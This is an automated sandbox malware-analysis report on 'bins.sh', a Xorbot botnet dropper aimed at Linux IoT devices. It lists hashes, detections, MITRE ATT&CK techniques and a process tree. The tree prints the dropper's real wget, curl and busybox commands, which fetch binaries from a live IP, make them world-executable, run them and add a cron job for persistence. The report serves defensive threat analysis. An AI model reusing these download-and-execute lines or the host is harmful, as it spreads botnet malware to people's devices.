xorbot | 56ffdc2679cf8715dddb3f56f52cf2b650f3ad220dc77610da0a897cc835a627

Analysis

max time kernel
150s
max time network
143s
platform
debian-9_armhf
resource
debian9-armhf-20240611-en
resource tags

arch:armhfimage:debian9-armhf-20240611-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
submitted
03-12-2024 14:51

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General

Target

bins.sh
Size

10KB
MD5

3b8b6765d7640335ac5904db51941316
SHA1

41d3ed3e99d3c26185c182282f6210f3def75b91
SHA256

56ffdc2679cf8715dddb3f56f52cf2b650f3ad220dc77610da0a897cc835a627
SHA512

f24c1f8cd195a71f9392081b3aeaed8d32819c6bb4337ec57c5d0034abea6bfce3884757d5b212ce225d82033f08f16587ed8086452023ec9ce29ba1fe102f5b
SSDEEP

192:nR57dzBtlmm8DL9v3/K+0mI/nkB/VmXjh8ML+Xjh8MLgVdR5dCdBtlmmUhv3/K+f:7dzBtlmm8DL0kBdmXjh8ML+Xjh8MLqr1

Score

10^/10

xorbot antivm botnet defense_evasion discovery execution persistence privilege_escalatio trojan

Malware Config

Signatures

Detects Xorbot 1 IoCs

botnet trojan

resource	yara_rule
behavioral2/files/fstream-6.dat	family_xorbot

Xorbot
Xorbot is a linux botnet and trojan targeting IoT devices.
botnet trojan xorbot
Xorbot family
xorbot
Contacts a large (1540) amount of remote hosts 1 TTPs
This may indicate a network scan to discover remotely running services.
discovery

Network Service Discovery
T1046

File and Directory Permissions Modification 1 TTPs 2 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
684	chmod
784	chmod

Executes dropped EXE 2 IoCs

ioc	pid	Process
/tmp/ELaEZdhygdZsx9KSjeI8NLPA8wFzbOeeET	685	ELaEZdhygdZsx9KSjeI8NLPA8wFzbOeeET
/tmp/Ny2bOW86hFR7AmCp5Cv4eMmG42c473oXBt	785	Ny2bOW86hFR7AmCp5Cv4eMmG42c473oXBt

Renames itself 1 IoCs

pid	Process
686	ELaEZdhygdZsx9KSjeI8NLPA8wFzbOeeET

Creates a large amount of network flows 1 TTPs
This may indicate a network scan to discover remotely running services.
discovery

Network Service Discovery
T1046

Creates/modifies Cron job 1 TTPs 1 IoCs

Cron allows running tasks on a schedule, and is commonly used for malware persistence.

execution persistence privilege_escalatio

Cron

T1053.003

description	ioc	Process
File opened for modification	/var/spool/cron/crontabs/tmp.1pT1oB	crontab

Enumerates running processes
Discovers information about currently running processes on the system

Checks CPU configuration 1 TTPs 1 IoCs

Checks CPU information which indicate if the system is a virtual machine.

antivm

System Checks

T1497.001

description	ioc	Process
File opened for reading	/proc/cpuinfo	curl

Reads runtime system information 64 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/885/cmdline	ELaEZdhygdZsx9KSjeI8NLPA8wFzbOeeET
File opened for reading	/proc/910/cmdline	ELaEZdhygdZsx9KSjeI8NLPA8wFzbOeeET
File opened for reading	/proc/911/cmdline	ELaEZdhygdZsx9KSjeI8NLPA8wFzbOeeET
File opened for reading	/proc/933/cmdline	ELaEZdhygdZsx9KSjeI8NLPA8wFzbOeeET
File opened for reading	/proc/9/cmdline	ELaEZdhygdZsx9KSjeI8NLPA8wFzbOeeET
File opened for reading	/proc/761/cmdline	ELaEZdhygdZsx9KSjeI8NLPA8wFzbOeeET
File opened for reading	/proc/841/cmdline	ELaEZdhygdZsx9KSjeI8NLPA8wFzbOeeET
File opened for reading	/proc/924/cmdline	ELaEZdhygdZsx9KSjeI8NLPA8wFzbOeeET
File opened for reading	/proc/956/cmdline	ELaEZdhygdZsx9KSjeI8NLPA8wFzbOeeET
File opened for reading	/proc/19/cmdline	ELaEZdhygdZsx9KSjeI8NLPA8wFzbOeeET
File opened for reading	/proc/282/cmdline	ELaEZdhygdZsx9KSjeI8NLPA8wFzbOeeET
File opened for reading	/proc/946/cmdline	ELaEZdhygdZsx9KSjeI8NLPA8wFzbOeeET
File opened for reading	/proc/712/cmdline	ELaEZdhygdZsx9KSjeI8NLPA8wFzbOeeET
File opened for reading	/proc/734/cmdline	ELaEZdhygdZsx9KSjeI8NLPA8wFzbOeeET
File opened for reading	/proc/770/cmdline	ELaEZdhygdZsx9KSjeI8NLPA8wFzbOeeET
File opened for reading	/proc/778/cmdline	ELaEZdhygdZsx9KSjeI8NLPA8wFzbOeeET
File opened for reading	/proc/779/cmdline	ELaEZdhygdZsx9KSjeI8NLPA8wFzbOeeET
File opened for reading	/proc/935/cmdline	ELaEZdhygdZsx9KSjeI8NLPA8wFzbOeeET
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/703/cmdline	ELaEZdhygdZsx9KSjeI8NLPA8wFzbOeeET
File opened for reading	/proc/867/cmdline	ELaEZdhygdZsx9KSjeI8NLPA8wFzbOeeET
File opened for reading	/proc/869/cmdline	ELaEZdhygdZsx9KSjeI8NLPA8wFzbOeeET
File opened for reading	/proc/959/cmdline	ELaEZdhygdZsx9KSjeI8NLPA8wFzbOeeET
File opened for reading	/proc/43/cmdline	ELaEZdhygdZsx9KSjeI8NLPA8wFzbOeeET
File opened for reading	/proc/662/cmdline	ELaEZdhygdZsx9KSjeI8NLPA8wFzbOeeET
File opened for reading	/proc/749/cmdline	ELaEZdhygdZsx9KSjeI8NLPA8wFzbOeeET
File opened for reading	/proc/929/cmdline	ELaEZdhygdZsx9KSjeI8NLPA8wFzbOeeET
File opened for reading	/proc/269/cmdline	ELaEZdhygdZsx9KSjeI8NLPA8wFzbOeeET
File opened for reading	/proc/691/cmdline	ELaEZdhygdZsx9KSjeI8NLPA8wFzbOeeET
File opened for reading	/proc/148/cmdline	ELaEZdhygdZsx9KSjeI8NLPA8wFzbOeeET
File opened for reading	/proc/640/cmdline	ELaEZdhygdZsx9KSjeI8NLPA8wFzbOeeET
File opened for reading	/proc/648/cmdline	ELaEZdhygdZsx9KSjeI8NLPA8wFzbOeeET
File opened for reading	/proc/706/cmdline	ELaEZdhygdZsx9KSjeI8NLPA8wFzbOeeET
File opened for reading	/proc/817/cmdline	ELaEZdhygdZsx9KSjeI8NLPA8wFzbOeeET
File opened for reading	/proc/832/cmdline	ELaEZdhygdZsx9KSjeI8NLPA8wFzbOeeET
File opened for reading	/proc/8/cmdline	ELaEZdhygdZsx9KSjeI8NLPA8wFzbOeeET
File opened for reading	/proc/12/cmdline	ELaEZdhygdZsx9KSjeI8NLPA8wFzbOeeET
File opened for reading	/proc/866/cmdline	ELaEZdhygdZsx9KSjeI8NLPA8wFzbOeeET
File opened for reading	/proc/828/cmdline	ELaEZdhygdZsx9KSjeI8NLPA8wFzbOeeET
File opened for reading	/proc/843/cmdline	ELaEZdhygdZsx9KSjeI8NLPA8wFzbOeeET
File opened for reading	/proc/870/cmdline	ELaEZdhygdZsx9KSjeI8NLPA8wFzbOeeET
File opened for reading	/proc/876/cmdline	ELaEZdhygdZsx9KSjeI8NLPA8wFzbOeeET
File opened for reading	/proc/758/cmdline	ELaEZdhygdZsx9KSjeI8NLPA8wFzbOeeET
File opened for reading	/proc/771/cmdline	ELaEZdhygdZsx9KSjeI8NLPA8wFzbOeeET
File opened for reading	/proc/724/cmdline	ELaEZdhygdZsx9KSjeI8NLPA8wFzbOeeET
File opened for reading	/proc/941/cmdline	ELaEZdhygdZsx9KSjeI8NLPA8wFzbOeeET
File opened for reading	/proc/filesystems	crontab
File opened for reading	/proc/139/cmdline	ELaEZdhygdZsx9KSjeI8NLPA8wFzbOeeET
File opened for reading	/proc/791/cmdline	ELaEZdhygdZsx9KSjeI8NLPA8wFzbOeeET
File opened for reading	/proc/697/cmdline	ELaEZdhygdZsx9KSjeI8NLPA8wFzbOeeET
File opened for reading	/proc/768/cmdline	ELaEZdhygdZsx9KSjeI8NLPA8wFzbOeeET
File opened for reading	/proc/700/cmdline	ELaEZdhygdZsx9KSjeI8NLPA8wFzbOeeET
File opened for reading	/proc/855/cmdline	ELaEZdhygdZsx9KSjeI8NLPA8wFzbOeeET
File opened for reading	/proc/22/cmdline	ELaEZdhygdZsx9KSjeI8NLPA8wFzbOeeET
File opened for reading	/proc/837/cmdline	ELaEZdhygdZsx9KSjeI8NLPA8wFzbOeeET
File opened for reading	/proc/936/cmdline	ELaEZdhygdZsx9KSjeI8NLPA8wFzbOeeET
File opened for reading	/proc/951/cmdline	ELaEZdhygdZsx9KSjeI8NLPA8wFzbOeeET
File opened for reading	/proc/797/cmdline	ELaEZdhygdZsx9KSjeI8NLPA8wFzbOeeET
File opened for reading	/proc/858/cmdline	ELaEZdhygdZsx9KSjeI8NLPA8wFzbOeeET
File opened for reading	/proc/707/cmdline	ELaEZdhygdZsx9KSjeI8NLPA8wFzbOeeET
File opened for reading	/proc/713/cmdline	ELaEZdhygdZsx9KSjeI8NLPA8wFzbOeeET
File opened for reading	/proc/938/cmdline	ELaEZdhygdZsx9KSjeI8NLPA8wFzbOeeET
File opened for reading	/proc/940/cmdline	ELaEZdhygdZsx9KSjeI8NLPA8wFzbOeeET

Writes file to tmp directory 4 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/ELaEZdhygdZsx9KSjeI8NLPA8wFzbOeeET	curl
File opened for modification	/tmp/ELaEZdhygdZsx9KSjeI8NLPA8wFzbOeeET	busybox
File opened for modification	/tmp/Ny2bOW86hFR7AmCp5Cv4eMmG42c473oXBt	busybox
File opened for modification	/tmp/ELaEZdhygdZsx9KSjeI8NLPA8wFzbOeeET	wget

/tmp/bins.sh
/tmp/bins.sh
1⤵
PID:650
- /bin/rm
  /bin/rm bins.sh
  2⤵
  PID:654
- /usr/bin/wget
  wget http://216.126.231.240/bins/ELaEZdhygdZsx9KSjeI8NLPA8wFzbOeeET
  2⤵
  - Writes file to tmp directory
  PID:658
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/ELaEZdhygdZsx9KSjeI8NLPA8wFzbOeeET
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:682
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/ELaEZdhygdZsx9KSjeI8NLPA8wFzbOeeET
  2⤵
  - Writes file to tmp directory
  PID:683
- /bin/chmod
  chmod 777 ELaEZdhygdZsx9KSjeI8NLPA8wFzbOeeET
  2⤵
  - File and Directory Permissions Modification
  PID:684
- /tmp/ELaEZdhygdZsx9KSjeI8NLPA8wFzbOeeET
  ./ELaEZdhygdZsx9KSjeI8NLPA8wFzbOeeET
  2⤵
  - Executes dropped EXE
  - Renames itself
  - Reads runtime system information
  PID:685
- - /bin/sh
    sh -c "crontab -l"
    3⤵
    PID:687
  - - /usr/bin/crontab
      crontab -l
      4⤵
      Reads runtime system information
      PID:688
- - /bin/sh
    sh -c "crontab -"
    3⤵
    PID:689
  - - /usr/bin/crontab
      crontab -
      4⤵
      Creates/modifies Cron job
      PID:690
- /bin/rm
  rm ELaEZdhygdZsx9KSjeI8NLPA8wFzbOeeET
  2⤵
  PID:692
- /usr/bin/wget
  wget http://216.126.231.240/bins/Ny2bOW86hFR7AmCp5Cv4eMmG42c473oXBt
  2⤵
  PID:697
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/Ny2bOW86hFR7AmCp5Cv4eMmG42c473oXBt
  2⤵
  PID:698
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/Ny2bOW86hFR7AmCp5Cv4eMmG42c473oXBt
  2⤵
  - Writes file to tmp directory
  PID:780
- /bin/chmod
  chmod 777 Ny2bOW86hFR7AmCp5Cv4eMmG42c473oXBt
  2⤵
  - File and Directory Permissions Modification
  PID:784
- /tmp/Ny2bOW86hFR7AmCp5Cv4eMmG42c473oXBt
  ./Ny2bOW86hFR7AmCp5Cv4eMmG42c473oXBt
  2⤵
  - Executes dropped EXE
  PID:785
- /bin/rm
  rm Ny2bOW86hFR7AmCp5Cv4eMmG42c473oXBt
  2⤵
  PID:788
- /usr/bin/wget
  wget http://216.126.231.240/bins/q9bJVDO0tkTPA06ISet7pUUxUM6k8CRANW
  2⤵
  PID:790

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

T1053

Cron

T1053.003

Persistence

Scheduled Task/Job

T1053

Cron

T1053.003

Privilege Escalation

Scheduled Task/Job

T1053

Cron

T1053.003

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Virtualization/Sandbox Evasion

T1497

System Checks

T1497.001

Credential Access

Discovery

Network Service Discovery

T1046

Virtualization/Sandbox Evasion

T1497

System Checks

T1497.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

/tmp/ELaEZdhygdZsx9KSjeI8NLPA8wFzbOeeET

Filesize
177KB

MD5
786d75a158fe731feca3880f436082c0

SHA1
79ea2734e43d00cdeabed5586b2c1994d02aef3e

SHA256
5fb5b9beb44997a6d1baf950a8bf05b94aa59406d82ba2fea27eb13c497d4b18

SHA512
7984ebc874563267570f828ee158e4860971e184900e3590ac3b4829285443e065dd1ad4df190ceabf575880a4cd8ead4dd1132e9c1650239accf3f6440a3f7f

Download Submit
/tmp/Ny2bOW86hFR7AmCp5Cv4eMmG42c473oXBt

Filesize
122KB

MD5
cd3d4b9c643e5b473fb4d88ed05f0716

SHA1
64ee7a97418583d759eaea8000890cc3bae1b5f4

SHA256
0cbb1e62423a82d17a7b1c9def6a5570a8414f36e2623f1d82cd4e6281930944

SHA512
164ee6eb1dc167f48a62683700bf3a4787f9ec4b12335e9e30d6670406324d111557b3be22fd6a9689b4f60562c8a3bf62867f2cae86c04cb1b01ee2e219cc52

Download Submit
/var/spool/cron/crontabs/tmp.1pT1oB

Filesize
210B

MD5
133f7671741ce576ce93d8b385ed694f

SHA1
ee5a365212d73dc8e43035419c3b84a555ace4e9

SHA256
d7c125e161be5b7acfb14b762422ad1f3bbd304a6e020a4a26b42c23a35dc86a

SHA512
7e3142e37f758e6340ac7032b0ee80930ea0e4c925b20ea98744a27848c01e053739b70ea813278721e5b427a1e3ae8d5ce7b92cc7bc9ae9b615a8d1ab792efb

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Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

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Downloads